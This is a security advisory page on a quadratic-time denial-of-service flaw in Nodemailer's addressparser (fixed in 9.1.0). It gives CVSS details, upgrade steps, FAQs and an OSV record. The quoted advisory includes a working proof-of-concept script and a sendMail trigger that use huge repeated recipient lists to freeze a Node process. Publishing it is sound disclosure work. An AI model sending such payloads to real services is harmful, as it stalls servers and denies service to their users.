GHSA-2x7j-588g-ccc2: Nodemailer Denial of Service Vulnerability

HIGH
CVSS 7.5
CWE-400 CWE-407
Published
Advisory Summary

GHSA-2x7j-588g-ccc2 is a HIGH (CVSS 7.5) denial of service vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Nodemailer libraries in the npm ecosystem. The issue involves quadratic (o(n²)) time complexity in addressparser allows remote denial of service via a crafted address list. Remediation is available by upgrading affected packages to version 9.1.0.

GHSA-2x7j-588g-ccc2 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-2x7j-588g-ccc2
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product Nodemailer
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix GHSA-2x7j-588g-ccc2

To remediate this vulnerability, upgrade all affected Nodemailer dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

nodemailer fixed: 9.1.0
npm install nodemailer@9.1.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls nodemailer

How to Check if You Are Affected

To determine whether your Node.js application is affected by GHSA-2x7j-588g-ccc2, inspect your project dependencies using npm:

npm ls nodemailer

Analyze the terminal output to locate any version of Nodemailer in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 9.1.0), your application is affected.

Note: The npm ls nodemailer command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Nodemailer, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary Nodemailer's address parser (`lib/addressparser/index.js`) parses a list of comma‑separated addresses in **quadratic time — O(n²)** in the number of addresses. A single crafted address string (e.g. a `To`, `Cc`, `Bcc`, `From`, or `Reply‑To` value, or any value passed to the exported `addressparser`) therefore consumes CPU proportional to the **square** of its length and blocks Node's single‑threaded event loop for the entire duration, denying service to every other request in the process. This requires **no special application configuration and no cooperating receiver** — it is entirely inside the parser and triggers on the library's default code path. A ~1.5 MB address value freezes the process for ~25–30 seconds of 100% CPU; the cost grows with the square of the input, so a few‑MB value stalls the server for minutes. It is a distinct issue from the recursion DoS fixed as CVE‑2025‑14874 (that path is guarded by a nesting‑depth cap; this one is a flat, comma‑separated list with no such limit). ### Details `addressparser` tokenizes the input, splits it into per‑address token groups, and then accumulates the parsed results in a loop (`lib/addressparser/index.js`, ~lines 500–505): ```js addresses.forEach(addr => { const handled = _handleAddress(addr, depth); if (handled.length) { parsedAddresses = parsedAddresses.concat(handled); // <-- line ~503 } }); ``` `Array.prototype.concat` builds and returns a **new** array containing a copy of every element accumulated so far. Reassigning `parsedAddresses = parsedAddresses.concat(handled)` on each of the *n* iterations copies 1 + 2 + 3 + … + n elements in total, i.e. **O(n²)** work (and O(n²) transient allocations) for an input containing *n* addresses. Tokenization and `_handleAddress` themselves are linear; the quadratic blowup is entirely this accumulator. **Root‑cause proof.** Replacing only that line with an in‑place append and re‑running the exact same input: ``` parsedAddresses = parsedAddresses.concat(handled); -> 100000 addresses: ~6068 ms parsedAddresses.push.apply(parsedAddresses, handled); -> 100000 addresses: ~51 ms (≈119x faster, now linear) ``` **Measured scaling** (nodemailer 9.0.6, `'a@b.com,'.repeat(n)`): | addresses n | input size | parse time | ratio for 2× input | |---|---|---|---| | 25,000 | 0.19 MB | ~0.35 s | – | | 50,000 | 0.38 MB | ~1.4 s | ×4.0 | | 100,000 | 0.76 MB | ~6–8 s | ×3.9 | | 200,000 | 1.53 MB | ~25–30 s| ×4.1 | Doubling the input quadruples the time — the signature of O(n²). **Reachability.** The parser is invoked on any structured‑address header value on the normal send path (`MimeNode.setHeader('To'/'Cc'/'Bcc'/'From'/'Reply-To', value)` → `_parseAddresses` → `addressparser`, and `getEnvelope()`), so a single `transport.sendMail({ to: <crafted string> })` triggers it. It is also reached directly through the **exported** `require('nodemailer/lib/addressparser')`, which many applications call to validate or display user‑supplied recipient lists. Confirmed via the public API: `setHeader('To', 'a@b.com,'.repeat(80000))` + `getEnvelope()` blocks for ~3.9 s. **Suggested fix:** accumulate in place instead of rebuilding the array each iteration, e.g. `parsedAddresses.push.apply(parsedAddresses, handled);` (or `for (const h of handled) parsedAddresses.push(h);`). Optionally cap the number of addresses / input length before parsing. ### PoC Environment: Node.js ≥ 18 and the published `nodemailer@9.0.6`. No transport, network, or configuration required — the cost is in parsing. `poc-dos.js`: ```js 'use strict'; const addressparser = require('nodemailer/lib/addressparser'); console.log('addresses | input size | parse time'); for (const n of [25000, 50000, 100000, 200000]) { const payload = 'a@b.com,'.repeat(n); // n valid, comma-separated recipients const t0 = process.hrtime.bigint(); addressparser(payload); // blocks synchronously const ms = Number(process.hrtime.bigint() - t0) / 1e6; console.log(String(n).padStart(9) + ' | ' + (payload.length / 1048576).toFixed(2) + ' MB | ' + ms.toFixed(0).padStart(7) + ' ms'); } ``` Run: ``` npm init -y && npm install nodemailer@9.0.6 node poc-dos.js ``` Actual output (nodemailer 9.0.6): ``` addresses | input size | parse time 25000 | 0.19 MB | 381 ms 50000 | 0.38 MB | 1435 ms 100000 | 0.76 MB | 7949 ms 200000 | 1.53 MB | 25154 ms ``` Equivalent trigger through the normal send API (freezes the event loop): ```js const nodemailer = require('nodemailer'); nodemailer.createTransport({ jsonTransport: true }) .sendMail({ from: 'a@b.com', to: 'a@b.com,'.repeat(150000), subject: 'x', text: 'y' }); // ~15+ seconds of 100% CPU inside addressparser before anything is sent ``` ### Impact * **Who is impacted:** any service that runs Nodemailer (or the standalone `nodemailer/lib/addressparser`) on an address value that can be influenced by an untrusted party — a recipient field in a "send email / invite / share" feature, a `Reply‑To`/`From` derived from user input, a contact‑import or mailing‑list parser, or any endpoint that validates addresses with `addressparser`. No authentication, special option, or particular receiver is needed. ## Patched in 9.1.0 Three separate quadratic paths were fixed, not one: * `addressparser` rebuilt its accumulator with `concat()` on every address ([9116da9](https://github.com/nodemailer/nodemailer/commit/9116da9)). * The display-name merge loop directly below spliced each fragment out of the array, the same shape reached through `'a, b <c@d.com>,'.repeat(n)` (same commit). * `MimeNode#_convertAddresses` checked recipient uniqueness with a linear scan per address ([7cc38af](https://github.com/nodemailer/nodemailer/commit/7cc38af), refined in [34da642](https://github.com/nodemailer/nodemailer/commit/34da642)). This was the most severe of the three and the reported proof of concept did not reach it: `'a@b.com,'.repeat(n)` is one address repeated, which dedupes to a single envelope entry. A list of *distinct* recipients cost O(n^2) here, taking ~35s for 100k even after `addressparser` was fixed. Fixed alongside: `[].concat.apply` in `_parseAddresses` threw `RangeError: Maximum call stack size exceeded` past roughly 124k recipients, with no crafted input needed ([83b8c48](https://github.com/nodemailer/nodemailer/commit/83b8c48)). Parsing 200k addresses now takes ~80ms instead of ~25s, and every path scales linearly. A new `maxRecipients` option (default 100000) throws rather than truncating, as a backstop.

GHSA-2x7j-588g-ccc2 Affected Nodemailer Versions

1 component(s)
Fixed Versions:
9.1.0
Product / Package Ecosystem Affected Versions Fixed Version
nodemailer
npm
< 9.1.0
9.1.0

References

Frequently Asked Questions

What is GHSA-2x7j-588g-ccc2?
GHSA-2x7j-588g-ccc2 is a security vulnerability in Nodemailer involving Quadratic (O(n²)) time complexity in addressparser allows remote denial of service via a crafted address list under CWE-400: Uncontrolled Resource Consumption.
Which Nodemailer versions are affected?
Affected versions include releases prior to 9.1.0 across affected packages: nodemailer.
What version fixes GHSA-2x7j-588g-ccc2?
Upgrading to 9.1.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is nodemailer affected?
Yes, nodemailer is affected in releases prior to 9.1.0. Upgrade your dependency to 9.1.0 or later.
What is the CVSS score of GHSA-2x7j-588g-ccc2?
GHSA-2x7j-588g-ccc2 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with GHSA-2x7j-588g-ccc2?
GHSA-2x7j-588g-ccc2 is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check npm dependencies for GHSA-2x7j-588g-ccc2?
Run the dependency tree command: 'npm ls nodemailer'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2x7j-588g-ccc2",
  "modified" : "2026-09-08T21:33:17Z",
  "published" : "2026-09-08T21:33:17Z",
  "aliases" : [ ],
  "summary" : "Nodemailer: Quadratic (O(n²)) time complexity in addressparser allows remote denial of service via a crafted address list",
  "details" : "### Summary\n\nNodemailer's address parser (`lib/addressparser/index.js`) parses a list of comma‑separated addresses in **quadratic time — O(n²)** in the number of addresses. A single crafted address string (e.g. a `To`, `Cc`, `Bcc`, `From`, or `Reply‑To` value, or any value passed to the exported `addressparser`) therefore consumes CPU proportional to the **square** of its length and blocks Node's single‑threaded event loop for the entire duration, denying service to every other request in the process.\n\nThis requires **no special application configuration and no cooperating receiver** — it is entirely inside the parser and triggers on the library's default code path. A ~1.5 MB address value freezes the process for ~25–30 seconds of 100% CPU; the cost grows with the square of the input, so a few‑MB value stalls the server for minutes. It is a distinct issue from the recursion DoS fixed as CVE‑2025‑14874 (that path is guarded by a nesting‑depth cap; this one is a flat, comma‑separated list with no such limit).\n\n### Details\n\n`addressparser` tokenizes the input, splits it into per‑address token groups, and then accumulates the parsed results in a loop (`lib/addressparser/index.js`, ~lines 500–505):\n\n```js\naddresses.forEach(addr => {\n    const handled = _handleAddress(addr, depth);\n    if (handled.length) {\n        parsedAddresses = parsedAddresses.concat(handled);   // <-- line ~503\n    }\n});\n```\n\n`Array.prototype.concat` builds and returns a **new** array containing a copy of every element accumulated so far. Reassigning `parsedAddresses = parsedAddresses.concat(handled)` on each of the *n* iterations copies 1 + 2 + 3 + … + n elements in total, i.e. **O(n²)** work (and O(n²) transient allocations) for an input containing *n* addresses. Tokenization and `_handleAddress` themselves are linear; the quadratic blowup is entirely this accumulator.\n\n**Root‑cause proof.** Replacing only that line with an in‑place append and re‑running the exact same input:\n\n```\nparsedAddresses = parsedAddresses.concat(handled);      ->  100000 addresses:  ~6068 ms\nparsedAddresses.push.apply(parsedAddresses, handled);   ->  100000 addresses:  ~51 ms   (≈119x faster, now linear)\n```\n\n**Measured scaling** (nodemailer 9.0.6, `'a@b.com,'.repeat(n)`):\n\n| addresses n | input size | parse time | ratio for 2× input |\n|---|---|---|---|\n| 25,000  | 0.19 MB | ~0.35 s | – |\n| 50,000  | 0.38 MB | ~1.4 s  | ×4.0 |\n| 100,000 | 0.76 MB | ~6–8 s  | ×3.9 |\n| 200,000 | 1.53 MB | ~25–30 s| ×4.1 |\n\nDoubling the input quadruples the time — the signature of O(n²).\n\n**Reachability.** The parser is invoked on any structured‑address header value on the normal send path (`MimeNode.setHeader('To'/'Cc'/'Bcc'/'From'/'Reply-To', value)` → `_parseAddresses` → `addressparser`, and `getEnvelope()`), so a single `transport.sendMail({ to: <crafted string> })` triggers it. It is also reached directly through the **exported** `require('nodemailer/lib/addressparser')`, which many applications call to validate or display user‑supplied recipient lists. Confirmed via the public API: `setHeader('To', 'a@b.com,'.repeat(80000))` + `getEnvelope()` blocks for ~3.9 s.\n\n**Suggested fix:** accumulate in place instead of rebuilding the array each iteration, e.g. `parsedAddresses.push.apply(parsedAddresses, handled);` (or `for (const h of handled) parsedAddresses.push(h);`). Optionally cap the number of addresses / input length before parsing.\n\n### PoC\n\nEnvironment: Node.js ≥ 18 and the published `nodemailer@9.0.6`. No transport, network, or configuration required — the cost is in parsing.\n\n`poc-dos.js`:\n```js\n'use strict';\nconst addressparser = require('nodemailer/lib/addressparser');\n\nconsole.log('addresses | input size | parse time');\nfor (const n of [25000, 50000, 100000, 200000]) {\n  const payload = 'a@b.com,'.repeat(n);        // n valid, comma-separated recipients\n  const t0 = process.hrtime.bigint();\n  addressparser(payload);                       // blocks synchronously\n  const ms = Number(process.hrtime.bigint() - t0) / 1e6;\n  console.log(String(n).padStart(9) + ' | ' + (payload.length / 1048576).toFixed(2) + ' MB   | ' + ms.toFixed(0).padStart(7) + ' ms');\n}\n```\n\nRun:\n```\nnpm init -y && npm install nodemailer@9.0.6\nnode poc-dos.js\n```\n\nActual output (nodemailer 9.0.6):\n```\naddresses | input size | parse time\n    25000 | 0.19 MB   |     381 ms\n    50000 | 0.38 MB   |    1435 ms\n   100000 | 0.76 MB   |    7949 ms\n   200000 | 1.53 MB   |   25154 ms\n```\n\nEquivalent trigger through the normal send API (freezes the event loop):\n```js\nconst nodemailer = require('nodemailer');\nnodemailer.createTransport({ jsonTransport: true })\n  .sendMail({ from: 'a@b.com', to: 'a@b.com,'.repeat(150000), subject: 'x', text: 'y' });\n// ~15+ seconds of 100% CPU inside addressparser before anything is sent\n```\n\n### Impact\n\n* **Who is impacted:** any service that runs Nodemailer (or the standalone `nodemailer/lib/addressparser`) on an address value that can be influenced by an untrusted party — a recipient field in a \"send email / invite / share\" feature, a `Reply‑To`/`From` derived from user input, a contact‑import or mailing‑list parser, or any endpoint that validates addresses with `addressparser`. No authentication, special option, or particular receiver is needed.\n\n## Patched in 9.1.0\n\nThree separate quadratic paths were fixed, not one:\n\n* `addressparser` rebuilt its accumulator with `concat()` on every address ([9116da9](https://github.com/nodemailer/nodemailer/commit/9116da9)).\n* The display-name merge loop directly below spliced each fragment out of the array, the same shape reached through `'a, b <c@d.com>,'.repeat(n)` (same commit).\n* `MimeNode#_convertAddresses` checked recipient uniqueness with a linear scan per address ([7cc38af](https://github.com/nodemailer/nodemailer/commit/7cc38af), refined in [34da642](https://github.com/nodemailer/nodemailer/commit/34da642)). This was the most severe of the three and the reported proof of concept did not reach it: `'a@b.com,'.repeat(n)` is one address repeated, which dedupes to a single envelope entry. A list of *distinct* recipients cost O(n^2) here, taking ~35s for 100k even after `addressparser` was fixed.\n\nFixed alongside: `[].concat.apply` in `_parseAddresses` threw `RangeError: Maximum call stack size exceeded` past roughly 124k recipients, with no crafted input needed ([83b8c48](https://github.com/nodemailer/nodemailer/commit/83b8c48)).\n\nParsing 200k addresses now takes ~80ms instead of ~25s, and every path scales linearly. A new `maxRecipients` option (default 100000) throws rather than truncating, as a backstop.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "nodemailer"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "9.1.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nodemailer/nodemailer/security/advisories/GHSA-2x7j-588g-ccc2"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nodemailer/nodemailer/pull/1848"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nodemailer/nodemailer/commit/34da64282dcdc9b0581c721a27ab2fa226673150"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nodemailer/nodemailer/commit/7cc38af418ffa6fc7e86085195ca5ca681694b3e"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nodemailer/nodemailer/commit/9116da9528c6524cefaed75185602a7e85d20434"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nodemailer/nodemailer"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/nodemailer/nodemailer/releases/tag/v9.1.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400", "CWE-407" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-08T21:33:17Z",
    "nvd_published_at" : null
  }
}